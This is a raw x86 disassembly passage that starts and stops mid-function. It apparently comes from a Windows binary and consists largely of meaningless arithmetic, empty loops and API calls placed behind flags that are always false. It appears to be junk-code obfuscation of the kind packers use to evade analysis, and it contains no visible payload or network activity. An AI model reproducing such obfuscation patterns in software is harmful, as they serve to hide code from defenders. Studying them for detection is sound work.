call dword [sym.imp.GDI32.dll_OffsetRgn]
mov eax, dword [ebp - 0x1db0]
imul eax, dword [ebp - 0x1db0]
cmp eax, 0x7f5d1cc0
je 0x47919f
mov dword [ebp - 0xb24], 1
jmp 0x4791a6
and dword [ebp - 0xb24], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xb24]
mov dword [ebp + eax - 0x2bd8], ecx
cmp dword [ebp - 0xb24], 0
je 0x4791d7
mov eax, 0x67d
test eax, eax
je 0x4791d7
mov dword [ebp - 0x1610], 1
jmp 0x4791de
and dword [ebp - 0x1610], 0
mov eax, dword [ebp - 0xbd0]
cmp dword [ebp - 0x1610], eax
jl 0x4791f8
mov dword [ebp - 0x1b28], 1
jmp 0x4791ff
and dword [ebp - 0x1b28], 0
push 0
lea ecx, [ebp - 0x20e4]
call fcn.0043021f
mov ecx, dword [ebp - 0x1b28]
cmp ecx, dword [eax]
jl 0x479222
mov dword [ebp - 0x22bc], 1
jmp 0x479229
and dword [ebp - 0x22bc], 0
mov eax, dword [ebp - 0xbd0]
mov dword [ebp - 0x31e8], eax
push 2
lea ecx, [ebp - 0x20e4]
call fcn.0043021f
imul eax, dword [eax], 0x35cf
cmp eax, dword [ebp - 0xbd0]
jge 0x47925c
mov dword [ebp - 0x1618], 1
jmp 0x479263
and dword [ebp - 0x1618], 0
mov eax, dword [ebp - 0x1618]
mov dword [ebp - 0x1f10], eax
cmp dword [ebp - 0x1f10], 0
jne 0x479284
mov dword [ebp - 0x1620], 1
jmp 0x47928b
and dword [ebp - 0x1620], 0
cmp dword [ebp - 0x1620], 0xe3c8
jg 0x4792a3
mov dword [ebp - 0x1b30], 1
jmp 0x4792aa
and dword [ebp - 0x1b30], 0
mov eax, dword [ebp - 0x1b30]
mov dword [ebp - 0x26b8], eax
push 0
lea ecx, [ebp - 0x20e4]
call fcn.0043021f
mov esi, eax
push 0
lea ecx, [ebp - 0x20e4]
call fcn.0043021f
mov ecx, dword [esi]
cmp ecx, dword [eax]
jge 0x4792e4
mov dword [ebp - 0x1628], 1
jmp 0x4792eb
and dword [ebp - 0x1628], 0
mov eax, dword [ebp - 0x1628]
mov dword [ebp - 0x22c4], eax
lea ecx, [ebp - 0x20e4]
call fcn.00430203
mov dword [ebp - 0xa6c], 1
mov dword [ebp - 0x8b8], 0xcf09cc25
mov dword [ebp - 0xa10], 2
mov dword [ebp - 0x2490], 0
mov dword [ebp - 0x2c88], 0xa955
mov eax, dword [ebp - 0xa6c]
mov dword [ebp - 0x2fac], eax
mov eax, dword [ebp - 0xa6c]
sub eax, dword [ebp - 0xa6c]
jne 0x47935a
mov dword [ebp - 0x1db8], 1
jmp 0x479361
and dword [ebp - 0x1db8], 0
mov eax, dword [ebp - 0xa6c]
cmp eax, dword [ebp - 0x1db8]
jne 0x47939e
mov byte [ebp - 0x3ce], 0
movzx eax, byte [ebp - 0x3ce]
test eax, eax
je 0x479399
push 0x2083
push 0
push 0
push 0
push 0x218
push 0
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
jmp 0x479503
mov dword [ebp - 0x464], 0x78ab
mov dword [ebp - 0x404], 0xcc424770
push 3
lea ecx, [ebp - 0x2b48]
call fcn.00430131
mov dword [ebp - 0x8b0], 0
jmp 0x4793d8
mov eax, dword [ebp - 0x8b0]
inc eax
mov dword [ebp - 0x8b0], eax
cmp dword [ebp - 0x8b0], 3
jge 0x4793fa
push dword [ebp - 0x8b0]
lea ecx, [ebp - 0x2b48]
call fcn.0043021f
mov dword [eax], 0x24f20479
jmp 0x4793cb
mov eax, dword [ebp - 0x464]
inc eax
mov dword [ebp - 0x464], eax
mov dword [ebp - 0xa10], 6
jmp 0x479420
mov eax, dword [ebp - 0xa10]
dec eax
mov dword [ebp - 0xa10], eax
cmp dword [ebp - 0xa10], 0xffffffec
jge 0x4794f8
mov dword [ebp - 0x22cc], 0x9df9481f
mov eax, dword [ebp - 0x404]
mov dword [ebp - 0x2490], eax
mov dword [ebp - 0x8b8], 0xffffffef
jmp 0x47945c
mov eax, dword [ebp - 0x8b8]
inc eax
mov dword [ebp - 0x8b8], eax
cmp dword [ebp - 0x8b8], 6
jg 0x4794f3
mov byte [ebp - 0x2e5], 0
movzx eax, byte [ebp - 0x2e5]
test eax, eax
je 0x479488
push 0
push 0x1bf0
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov dword [ebp - 0x464], 0
jmp 0x4794a1
mov eax, dword [ebp - 0x464]
inc eax
mov dword [ebp - 0x464], eax
cmp dword [ebp - 0x464], 0x28
jge 0x4794ee
mov dword [ebp - 0x404], 0
jmp 0x4794c3
mov eax, dword [ebp - 0x404]
inc eax
mov dword [ebp - 0x404], eax
cmp dword [ebp - 0x404], 3
jge 0x4794e2
push dword [ebp - 0x404]
lea ecx, [ebp - 0x2b48]
call fcn.0043021f
or dword [eax], 0xffffffff
jmp 0x4794b6
mov dword [ebp - 0x22cc], 1
jmp 0x479494
jmp 0x47944f
jmp 0x479413
lea ecx, [ebp - 0x2b48]
call fcn.00430203
mov byte [ebp - 0x3ee], 0
mov dword [ebp - 0x518], 0x68206240
mov dword [ebp - 0x22e4], 0xcfd1f2e9
mov dword [ebp - 0x22ec], 0
mov dword [ebp - 0x22fc], 6
mov dword [ebp - 0x24a0], 0xe2bfbd3a
mov dword [ebp - 0x22d4], 0xfffffffe
mov dword [ebp - 0x22f4], 0x60d2f38
mov dword [ebp - 0x2c90], 0xb6fe6d39
mov dword [ebp - 0x22dc], 0xfdbd0176
mov dword [ebp - 0x24a8], 0xfffffff7
mov dword [ebp - 0xb2c], 0xfff7
push 3
lea ecx, [ebp - 0x2b60]
call fcn.00430131
mov dword [ebp - 0x88], 0
jmp 0x47959e
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 3
jge 0x4795ba
mov eax, dword [ebp - 0x88]
mov dword [ebp + eax*4 - 0x35dc], 0x93c1de6f
jmp 0x479591
mov dword [ebp - 0x88], 0
jmp 0x4795d3
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 3
jge 0x4795f2
push dword [ebp - 0x88]
lea ecx, [ebp - 0x2b60]
call fcn.0043021f
and dword [eax], 0
jmp 0x4795c6
mov dword [ebp - 0x88], 0
jmp 0x47960b
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 1
jge 0x479627
mov eax, dword [ebp - 0x88]
mov dword [ebp + eax*4 - 0x1b38], 0xffff
jmp 0x4795fe
mov dword [ebp - 0x518], 0xfffffffb
jmp 0x479640
mov eax, dword [ebp - 0x518]
dec eax
mov dword [ebp - 0x518], eax
cmp dword [ebp - 0x518], 0xffffffe9
jge 0x47965f
mov dword [ebp - 0x2570], 7
mov dword [ebp - 0x2570], 5
jmp 0x479633
mov eax, dword [ebp - 0xb2c]
inc eax
mov dword [ebp - 0xb2c], eax
cmp dword [ebp - 0xb2c], 0x49968cb6
jle 0x479684
mov dword [ebp - 0x1638], 1
jmp 0x47968b
and dword [ebp - 0x1638], 0
cmp dword [ebp - 0x22d4], 1
jg 0x4796a0
mov dword [ebp - 0x2498], 1
jmp 0x4796a7
and dword [ebp - 0x2498], 0
push 1
lea ecx, [ebp - 0x2b60]
call fcn.0043021f
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x518]
cmp dword [ebp + eax - 0x1b38], ecx
je 0x4796d5
mov dword [ebp - 0x1630], 1
jmp 0x4796dc
and dword [ebp - 0x1630], 0
mov eax, dword [ebp - 0x22dc]
cmp dword [ebp - 0x1630], eax
jl 0x4796f6
mov dword [ebp - 0x2630], 1
jmp 0x4796fd
and dword [ebp - 0x2630], 0
mov eax, dword [ebp - 0x22e4]
mov dword [ebp - 0x321c], eax
imul eax, dword [ebp - 0x24a0], 0xffffffff
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1b38]
mov dword [ebp - 0x2c98], eax
mov eax, dword [ebp - 0x22ec]
cmp dword [ebp - 0x1638], eax
jge 0x47973d
mov dword [ebp - 0x2578], 1
jmp 0x479744
and dword [ebp - 0x2578], 0
mov eax, dword [ebp - 0x22f4]
mov dword [ebp - 0x2fb4], eax
cmp dword [ebp - 0x24a8], 3
jne 0x479765
mov dword [ebp - 0x2004], 1
jmp 0x47976c
and dword [ebp - 0x2004], 0
mov eax, dword [ebp - 0x2004]
mov dword [ebp - 0x22fc], eax
lea ecx, [ebp - 0x2b60]
call fcn.00430203
movzx eax, byte [ebp - 0x3ee]
test eax, eax
je 0x479c22
mov dword [ebp - 0x230], 0xfffffffc
push 1
lea ecx, [ebp - 0x260c]
call fcn.00430131
push 2
lea ecx, [ebp - 0xcd8]
call fcn.00430131
mov dword [ebp - 0x20c], 0
jmp 0x4797cf
mov eax, dword [ebp - 0x20c]
inc eax
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 1
jge 0x4797f1
push dword [ebp - 0x20c]
lea ecx, [ebp - 0x260c]
call fcn.0043021f
mov dword [eax], 0xc6f8b8ae
jmp 0x4797c2
mov dword [ebp - 0x20c], 0
jmp 0x47980a
mov eax, dword [ebp - 0x20c]
inc eax
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 2
jge 0x47982c
push dword [ebp - 0x20c]
lea ecx, [ebp - 0xcd8]
call fcn.0043021f
mov dword [eax], 0xfffffffd
jmp 0x4797fd
mov dword [ebp - 0x230], 0
jmp 0x479845
mov eax, dword [ebp - 0x230]
dec eax
mov dword [ebp - 0x230], eax
cmp dword [ebp - 0x230], 0xfffffffd
jl 0x479c04
push 4
lea ecx, [ebp - 0x27ec]
call fcn.00430131
mov dword [ebp - 0x408], 0
mov dword [ebp - 0xb34], 0xc3c3ae50
mov dword [ebp - 0xc2c], 9
mov dword [ebp - 0x9a0], 0
jmp 0x479896
mov eax, dword [ebp - 0x9a0]
inc eax
mov dword [ebp - 0x9a0], eax
cmp dword [ebp - 0x9a0], 4
jge 0x4798b5
push dword [ebp - 0x9a0]
lea ecx, [ebp - 0x27ec]
call fcn.0043021f
and dword [eax], 0
jmp 0x479889
mov eax, dword [ebp - 0x230]
cmp dword [ebp - 0x230], eax
jge 0x4798cf
mov dword [ebp - 0x26a0], 1
jmp 0x4798d6
and dword [ebp - 0x26a0], 0
cmp dword [ebp - 0x230], 1
jg 0x4798eb
mov dword [ebp - 0x1640], 1
jmp 0x4798f2
and dword [ebp - 0x1640], 0
push 0
lea ecx, [ebp - 0x260c]
call fcn.0043021f
mov esi, dword [ebp - 0x1640]
imul esi, dword [eax]
push 0
lea ecx, [ebp - 0x27ec]
call fcn.0043021f
sub esi, dword [eax]
mov dword [ebp - 0x408], esi
mov esi, dword [ebp - 0x408]
push 0
lea ecx, [ebp - 0x260c]
call fcn.0043021f
cmp esi, dword [eax]
je 0x479940
mov dword [ebp - 0x1b40], 1
jmp 0x479947
and dword [ebp - 0x1b40], 0
cmp dword [ebp - 0x1b40], 7
jne 0x47995c
mov dword [ebp - 0x1648], 1
jmp 0x479963
and dword [ebp - 0x1648], 0
push 0
lea ecx, [ebp - 0xcd8]
call fcn.0043021f
mov ecx, dword [ebp - 0x1648]
mov dword [eax], ecx
mov dword [ebp - 0x408], 0xffffffe6
jmp 0x479991
mov eax, dword [ebp - 0x408]
inc eax
mov dword [ebp - 0x408], eax
cmp dword [ebp - 0x408], 0xfffffff1
jge 0x479bf4
mov dword [ebp - 0x33c], 0xb44adca1
mov dword [ebp - 0x230c], 0xffffffff
push 2
lea ecx, [ebp - 0x27ec]
call fcn.0043021f
mov esi, eax
push 0
lea ecx, [ebp - 0xcd8]
call fcn.0043021f
mov ecx, dword [esi]
mov dword [eax], ecx
mov dword [ebp - 0x33c], 0xb
jmp 0x4799eb
mov eax, dword [ebp - 0x33c]
dec eax
mov dword [ebp - 0x33c], eax
cmp dword [ebp - 0x33c], 0xfffffffd
jge 0x479bef
mov dword [ebp - 0x1f8], 0xb0fe2cf4
mov dword [ebp - 0x2580], 0
mov dword [ebp - 0x1f8], 0
jmp 0x479a25
mov eax, dword [ebp - 0x1f8]
inc eax
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 0
jg 0x479a48
push dword [ebp - 0x1f8]
lea ecx, [ebp - 0xcd8]
call fcn.0043021f
cmp dword [eax], 0
je 0x479a46
jmp 0x479a48
jmp 0x479a18
push 0xfffffffffffffff6
pop eax
test eax, eax
je 0x479a64
cmp dword [ebp - 0x33c], 0
je 0x479a64
mov dword [ebp - 0x1650], 1
jmp 0x479a6b
and dword [ebp - 0x1650], 0
mov eax, dword [ebp - 0x1f8]
mov dword [ebp - 0x2ca0], eax
mov eax, dword [ebp - 0xc2c]
add eax, dword [ebp - 0x230]
mov dword [ebp - 0x2304], eax
push 0
lea ecx, [ebp - 0xcd8]
call fcn.0043021f
mov eax, dword [eax]
mov dword [ebp - 0x24b0], eax
mov eax, dword [ebp - 0xc2c]
inc eax
mov dword [ebp - 0xc2c], eax
mov eax, dword [ebp - 0x2304]
cmp eax, dword [ebp - 0x24b0]
jge 0x479ac5
mov dword [ebp - 0x1dc0], 1
jmp 0x479acc
and dword [ebp - 0x1dc0], 0
mov esi, dword [ebp - 0x33c]
push 0
lea ecx, [ebp - 0xcd8]
call fcn.0043021f
mov ecx, dword [ebp - 0x1dc0]
add ecx, dword [eax]
add esi, ecx
cmp dword [ebp - 0x1650], esi
je 0x479afd
mov dword [ebp - 0x1b48], 1
jmp 0x479b04
and dword [ebp - 0x1b48], 0
mov eax, dword [ebp - 0x1b48]
mov dword [ebp - 0x230c], eax
mov eax, dword [ebp - 0xb34]
dec eax
mov dword [ebp - 0xb34], eax
mov eax, dword [ebp - 0x1f8]
cmp dword [ebp - 0xb34], eax
jge 0x479b3d
cmp dword [ebp - 0x33c], 0
jne 0x479b3d
and dword [ebp - 0x1658], 0
jmp 0x479b47
mov dword [ebp - 0x1658], 1
cmp dword [ebp - 0x1658], 0
jne 0x479b5d
push 0
lea ecx, [ebp - 0xcd8]
call fcn.0043021f
cmp dword [ebp - 0x1f8], 0xffffffff
jb 0x479b72
mov dword [ebp - 0x1f18], 1
jmp 0x479b79
and dword [ebp - 0x1f18], 0
push 0
lea ecx, [ebp - 0x260c]
call fcn.0043021f
mov ecx, dword [ebp - 0x1f18]
add ecx, dword [eax]
imul eax, ecx, 0
add eax, 0x543e653c
je 0x479bad
cmp dword [ebp - 0x1f8], 0
je 0x479bad
mov dword [ebp - 0x1660], 1
jmp 0x479bb4
and dword [ebp - 0x1660], 0
mov eax, dword [ebp - 0x2580]
cmp dword [ebp - 0x1660], eax
jl 0x479bce
mov dword [ebp - 0x1b50], 1
jmp 0x479bd5
and dword [ebp - 0x1b50], 0
push 0
lea ecx, [ebp - 0xcd8]
call fcn.0043021f
mov ecx, dword [ebp - 0x1b50]
mov dword [eax], ecx
jmp 0x4799de
jmp 0x479984
lea ecx, [ebp - 0x27ec]
call fcn.00430203
jmp 0x479838
lea ecx, [ebp - 0xcd8]
call fcn.00430203
lea ecx, [ebp - 0x260c]
call fcn.00430203
push 0
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [ebp - 0x120], 0x3d06ce12
mov dword [ebp - 0x1690], 0xffffffff
mov dword [ebp - 0x231c], 0xfffffffc
mov dword [ebp - 0x6ac], 0
jmp 0x479c59
mov eax, dword [ebp - 0x6ac]
inc eax
mov dword [ebp - 0x6ac], eax
cmp dword [ebp - 0x6ac], 1
jge 0x479c75
mov eax, dword [ebp - 0x6ac]
mov dword [ebp + eax*4 - 0xbd8], 0xfffffff6
jmp 0x479c4c
mov dword [ebp - 0x120], 0
jmp 0x479c8e
mov eax, dword [ebp - 0x120]
inc eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 1
jge 0x479caa
mov eax, dword [ebp - 0x120]
mov dword [ebp + eax*4 - 0xbd8], 0x16df251d
jmp 0x479c81
mov dword [ebp - 0x120], 0xffffffe9
jmp 0x479cc3
mov eax, dword [ebp - 0x120]
inc eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0xfffffffe
jge 0x479ea6
mov dword [ebp - 0x1b60], 0x809d
mov dword [ebp - 0x1688], 0
mov dword [ebp - 0x520], 0x826f3938
mov dword [ebp - 0x1dd0], 0x1b6ba00b
cmp dword [ebp - 0x520], 0x7392715e
jne 0x479d15
or eax, 0xffffffff
je 0x479d15
mov dword [ebp - 0x1668], 1
jmp 0x479d1c
and dword [ebp - 0x1668], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xbd8]
cmp dword [ebp - 0x1668], eax
jg 0x479d46
cmp dword [ebp - 0x520], 0
je 0x479d46
mov dword [ebp - 0x1dc8], 1
jmp 0x479d4d
and dword [ebp - 0x1dc8], 0
mov eax, dword [ebp - 0x120]
cmp dword [ebp - 0x1dc8], eax
je 0x479d67
mov dword [ebp - 0x1670], 1
jmp 0x479d6e
and dword [ebp - 0x1670], 0
cmp dword [ebp - 0x1670], 0xfffffff8
jl 0x479d83
mov dword [ebp - 0x1b58], 1
jmp 0x479d8a
and dword [ebp - 0x1b58], 0
mov eax, dword [ebp - 0x520]
cmp dword [ebp - 0x1b58], eax
jg 0x479da4
mov dword [ebp - 0x1678], 1
jmp 0x479dab
and dword [ebp - 0x1678], 0
mov eax, dword [ebp - 0x520]
add eax, dword [ebp - 0x1678]
jne 0x479dcb
cmp dword [ebp - 0x520], 0
jne 0x479dcb
and dword [ebp - 0x1fa8], 0
jmp 0x479dd5
mov dword [ebp - 0x1fa8], 1
cmp dword [ebp - 0x1fa8], 0x7be2
je 0x479ded
mov dword [ebp - 0x2314], 1
jmp 0x479df4
and dword [ebp - 0x2314], 0
cmp dword [ebp - 0x1dd0], 0x981c5860
jb 0x479e0c
mov dword [ebp - 0x1680], 1
jmp 0x479e13
and dword [ebp - 0x1680], 0
cmp dword [ebp - 0x1680], 0x5732
jne 0x479e2b
mov dword [ebp - 0x24b8], 1
jmp 0x479e32
and dword [ebp - 0x24b8], 0
mov dword [ebp - 0x1b60], 0x85613717
mov eax, dword [ebp - 0x1b60]
mov dword [ebp - 0x1688], eax
mov eax, dword [ebp - 0x1688]
mov dword [ebp - 0x3224], eax
imul eax, dword [ebp - 0x1dd0], 0x7d43
mov dword [ebp - 0x1690], eax
cmp dword [ebp - 0x1690], 0xaa810d21
jne 0x479e7c
mov dword [ebp - 0x1b68], 1
jmp 0x479e83
and dword [ebp - 0x1b68], 0
mov eax, dword [ebp - 0x1b68]
mov dword [ebp - 0x231c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xbd8], 0
je 0x479ea1
jmp 0x479ea6
jmp 0x479cb6
mov dword [ebp - 0x8c0], 0x20624039
mov byte [ebp - 0x2ed], 0
movzx eax, byte [ebp - 0x2ed]
test eax, eax
je 0x479ed6
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetParent]
mov dword [ebp - 0x8c0], 0
jmp 0x479eef
mov eax, dword [ebp - 0x8c0]
dec eax
mov dword [ebp - 0x8c0], eax
cmp dword [ebp - 0x8c0], 0xffffffe8
jne 0x479f1a
mov byte [ebp - 0x3d0], 0
movzx eax, byte [ebp - 0x3d0]
test eax, eax
je 0x479f18
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
jmp 0x479ee2
mov byte [ebp - 0x3b6], 0
mov dword [ebp - 0x32ec], 0x5e48
mov dword [ebp - 0x32e8], 0x5e48
mov dword [ebp - 0x32e4], 0x5e48
mov dword [ebp - 0x32e0], 0x5e48
mov dword [ebp - 0x410], 0x52061f6
mov dword [ebp - 0x410], 3
jmp 0x479f6c
mov eax, dword [ebp - 0x410]
dec eax
mov dword [ebp - 0x410], eax
cmp dword [ebp - 0x410], 0
jl 0x479f9f
mov byte [ebp - 0x2f5], 0
movzx eax, byte [ebp - 0x2f5]
test eax, eax
je 0x479f9d
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectClipRgn]
jmp 0x479f5f
mov eax, dword [ebp - 0x410]
mov dword [ebp - 0x410], eax
movzx eax, byte [ebp - 0x3b6]
test eax, eax
je 0x479fbc
call dword [sym.imp.KERNEL32.dll_GetACP]
jmp 0x47909f
call fcn.00468975
mov dword [ebp - 0xb3c], 0xfffffff9
mov dword [ebp - 0x418], 0xfffffffb
mov dword [ebp - 0x2ca8], 1
mov dword [ebp - 0xa68], 0
jmp 0x479ffd
mov eax, dword [ebp - 0xa68]
inc eax
mov dword [ebp - 0xa68], eax
cmp dword [ebp - 0xa68], 1
jge 0x47a019
mov eax, dword [ebp - 0xa68]
mov dword [ebp + eax*4 - 0x2324], 0xa6ff609d
jmp 0x479ff0
mov eax, 0xc47d1afd
dec eax
cmp dword [ebp - 0xb3c], eax
jle 0x47a033
mov dword [ebp - 0x1698], 1
jmp 0x47a03a
and dword [ebp - 0x1698], 0
mov eax, dword [ebp - 0x418]
cmp dword [ebp - 0x1698], eax
jne 0x47a054
mov dword [ebp - 0x1f20], 1
jmp 0x47a05b
and dword [ebp - 0x1f20], 0
cmp dword [ebp - 0x1f20], 0xfffffff7
jge 0x47a070
mov dword [ebp - 0x2640], 1
jmp 0x47a077
and dword [ebp - 0x2640], 0
mov eax, dword [ebp - 0xb3c]
mov dword [ebp - 0x2fbc], eax
mov eax, dword [ebp - 0x418]
cmp dword [ebp - 0xb3c], eax
jl 0x47a09d
mov dword [ebp - 0x16a0], 1
jmp 0x47a0a4
and dword [ebp - 0x16a0], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x16a0]
mov dword [ebp + eax - 0x2324], ecx
mov dword [ebp - 0x418], 0xfffffff5
jmp 0x47a0d0
mov eax, dword [ebp - 0x418]
dec eax
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x418], 0xffffffeb
jne 0x47a141
push 2
lea ecx, [ebp - 0x2b78]
call fcn.00430131
mov dword [ebp - 0x8c8], 0
jmp 0x47a0ff
mov eax, dword [ebp - 0x8c8]
inc eax
mov dword [ebp - 0x8c8], eax
cmp dword [ebp - 0x8c8], 2
jge 0x47a121
push dword [ebp - 0x8c8]
lea ecx, [ebp - 0x2b78]
call fcn.0043021f
mov dword [eax], 0x49bc00ea
jmp 0x47a0f2
push 0
lea ecx, [ebp - 0x2b78]
call fcn.0043021f
mov dword [eax], 0xc0021fbb
lea ecx, [ebp - 0x2b78]
call fcn.00430203
jmp 0x47a0c3
mov dword [ebp - 0x8d0], 0xffffffff
mov dword [ebp - 0x2cb0], 1
mov dword [ebp - 0x31f4], 1
mov dword [ebp - 0x2cb8], 0
mov dword [ebp - 0x2fc4], 0xfffffffa
mov dword [ebp - 0x2cc0], 0xaa43b2b
mov dword [ebp - 0x1b70], 0x7359b504
mov dword [ebp - 0x9a8], 0
jmp 0x47a1a0
mov eax, dword [ebp - 0x9a8]
inc eax
mov dword [ebp - 0x9a8], eax
cmp dword [ebp - 0x9a8], 2
jge 0x47a1bc
mov eax, dword [ebp - 0x9a8]
mov dword [ebp + eax*4 - 0x3448], 0x6b0e1b1b
jmp 0x47a193
mov dword [ebp - 0x8d0], 0
jmp 0x47a1d5
mov eax, dword [ebp - 0x8d0]
dec eax
mov dword [ebp - 0x8d0], eax
cmp dword [ebp - 0x8d0], 0xffffffe5
je 0x47a222
mov dword [ebp - 0xa18], 1
mov dword [ebp - 0x24c0], 0x7be7e550
mov dword [ebp - 0xa18], 0
jmp 0x47a20b
mov eax, dword [ebp - 0xa18]
dec eax
mov dword [ebp - 0xa18], eax
cmp dword [ebp - 0xa18], 0xffffffe6
jge 0x47a220
mov dword [ebp - 0x24c0], 0xfffffff9
jmp 0x47a1fe
jmp 0x47a1c8
mov eax, dword [ebp - 0x1b70]
inc eax
mov dword [ebp - 0x1b70], eax
mov dword [ebp - 0x9b8], 0x47dfa860
push 3
lea ecx, [ebp - 0x264c]
call fcn.00430131
mov dword [ebp - 0x8d8], 0x5c96dd1e
mov dword [ebp - 0x32a0], 0x2f4a8b10
mov dword [ebp - 0x2cc8], 1
mov dword [ebp - 0x2fcc], 0xa6801fc3
mov dword [ebp - 0x2cd0], 1
mov dword [ebp - 0x16a8], 0x5c28
push 3
lea ecx, [ebp - 0x2af4]
call fcn.00430131
mov dword [ebp - 0x1d0], 0
jmp 0x47a2a8
mov eax, dword [ebp - 0x1d0]
inc eax
mov dword [ebp - 0x1d0], eax
cmp dword [ebp - 0x1d0], 2
jge 0x47a2c4
mov eax, dword [ebp - 0x1d0]
mov dword [ebp + eax*4 - 0x3548], 0x2bbef7d6
jmp 0x47a29b
mov dword [ebp - 0x1d0], 0
jmp 0x47a2dd
mov eax, dword [ebp - 0x1d0]
inc eax
mov dword [ebp - 0x1d0], eax
cmp dword [ebp - 0x1d0], 3
jge 0x47a2ff
push dword [ebp - 0x1d0]
lea ecx, [ebp - 0x2af4]
call fcn.0043021f
mov dword [eax], 1
jmp 0x47a2d0
mov eax, dword [ebp - 0x16a8]
dec eax
mov dword [ebp - 0x16a8], eax
mov dword [ebp - 0x8d8], 0
jmp 0x47a325
mov eax, dword [ebp - 0x8d8]
inc eax
mov dword [ebp - 0x8d8], eax
cmp dword [ebp - 0x8d8], 1
jg 0x47a35e
mov dword [ebp - 0x3200], 0x56890c54
push 0
lea ecx, [ebp - 0x2af4]
call fcn.0043021f
mov dword [ebp - 0x1dd8], eax
mov eax, dword [ebp - 0x1dd8]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x1dd8]
mov dword [ecx], eax
jmp 0x47a318
lea ecx, [ebp - 0x2af4]
call fcn.00430203
push 4
lea ecx, [ebp - 0xcf0]
call fcn.00430131
mov dword [ebp - 0xc18], 0
mov dword [ebp - 0x2030], 0
mov dword [ebp - 0x9b0], 0
jmp 0x47a3a3
mov eax, dword [ebp - 0x9b0]
inc eax
mov dword [ebp - 0x9b0], eax
cmp dword [ebp - 0x9b0], 4
jge 0x47a3c5
push dword [ebp - 0x9b0]
lea ecx, [ebp - 0xcf0]
call fcn.0043021f
mov dword [eax], 1
jmp 0x47a396
push 2
lea ecx, [ebp - 0xcf0]
call fcn.0043021f
and dword [eax], 0
jmp 0x47a3fb
push 2
lea ecx, [ebp - 0xcf0]
call fcn.0043021f
mov dword [ebp - 0x16b0], eax
mov eax, dword [ebp - 0x16b0]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x16b0]
mov dword [ecx], eax
push 2
lea ecx, [ebp - 0xcf0]
call fcn.0043021f
cmp dword [eax], 9
jg 0x47a487
mov dword [ebp - 0x528], 0x2d4ea680
mov dword [ebp - 0x8e0], 0
jmp 0x47a430
mov eax, dword [ebp - 0x8e0]
inc eax
mov dword [ebp - 0x8e0], eax
cmp dword [ebp - 0x8e0], 2
jge 0x47a44c
mov eax, dword [ebp - 0x8e0]
mov dword [ebp + eax*4 - 0x2c0c], 0xa8b108f8
jmp 0x47a423
mov dword [ebp - 0x528], 1
jmp 0x47a465
mov eax, dword [ebp - 0x528]
dec eax
mov dword [ebp - 0x528], eax
cmp dword [ebp - 0x528], 0
jl 0x47a482
mov eax, dword [ebp - 0x528]
cmp dword [ebp + eax*4 - 0x2c0c], 0
je 0x47a480
jmp 0x47a482
jmp 0x47a458
jmp 0x47a3d7
mov eax, dword [ebp - 0xc18]
mov dword [ebp - 0x2cd8], eax
push 3
lea ecx, [ebp - 0xcf0]
call fcn.0043021f
cmp dword [eax], 0xfffffff7
jl 0x47a4b1
mov dword [ebp - 0x1b78], 1
jmp 0x47a4b8
and dword [ebp - 0x1b78], 0
mov eax, dword [ebp - 0xc18]
cmp eax, dword [ebp - 0x1b78]
jge 0x47a4d2
mov dword [ebp - 0x16b8], 1
jmp 0x47a4d9
and dword [ebp - 0x16b8], 0
mov eax, dword [ebp - 0x16b8]
sub eax, dword [ebp - 0xc18]
mov dword [ebp - 0x2030], eax
mov esi, dword [ebp - 0x2030]
push 2
lea ecx, [ebp - 0xcf0]
call fcn.0043021f
mov edi, eax
push 2
lea ecx, [ebp - 0xcf0]
call fcn.0043021f
mov ebx, dword [eax]
imul ebx, dword [edi]
add ebx, esi
push 2
lea ecx, [ebp - 0xcf0]
call fcn.0043021f
mov dword [eax], ebx
lea ecx, [ebp - 0xcf0]
call fcn.00430203
mov dword [ebp - 0xa50], 0
jmp 0x47a547
mov eax, dword [ebp - 0xa50]
inc eax
mov dword [ebp - 0xa50], eax
cmp dword [ebp - 0xa50], 3
jge 0x47a569
push dword [ebp - 0xa50]
lea ecx, [ebp - 0x264c]
call fcn.0043021f
mov dword [eax], 1
jmp 0x47a53a
mov dword [ebp - 0x8e8], 0
jmp 0x47a582
mov eax, dword [ebp - 0x8e8]
inc eax
mov dword [ebp - 0x8e8], eax
cmp dword [ebp - 0x8e8], 1
jge 0x47a59e
mov eax, dword [ebp - 0x8e8]
mov dword [ebp + eax*4 - 0x2fd4], 0x24f0
jmp 0x47a575
mov byte [ebp - 0x2fd], 0
movzx eax, byte [ebp - 0x2fd]
test eax, eax
je 0x47a5d0
push 0
push 0xd8
push 0x36d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_MoveToEx]
mov byte [ebp - 0x3b7], 0
movzx eax, byte [ebp - 0x3b7]
test eax, eax
je 0x47a5f9
push 0x6fa
push 0x2408
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
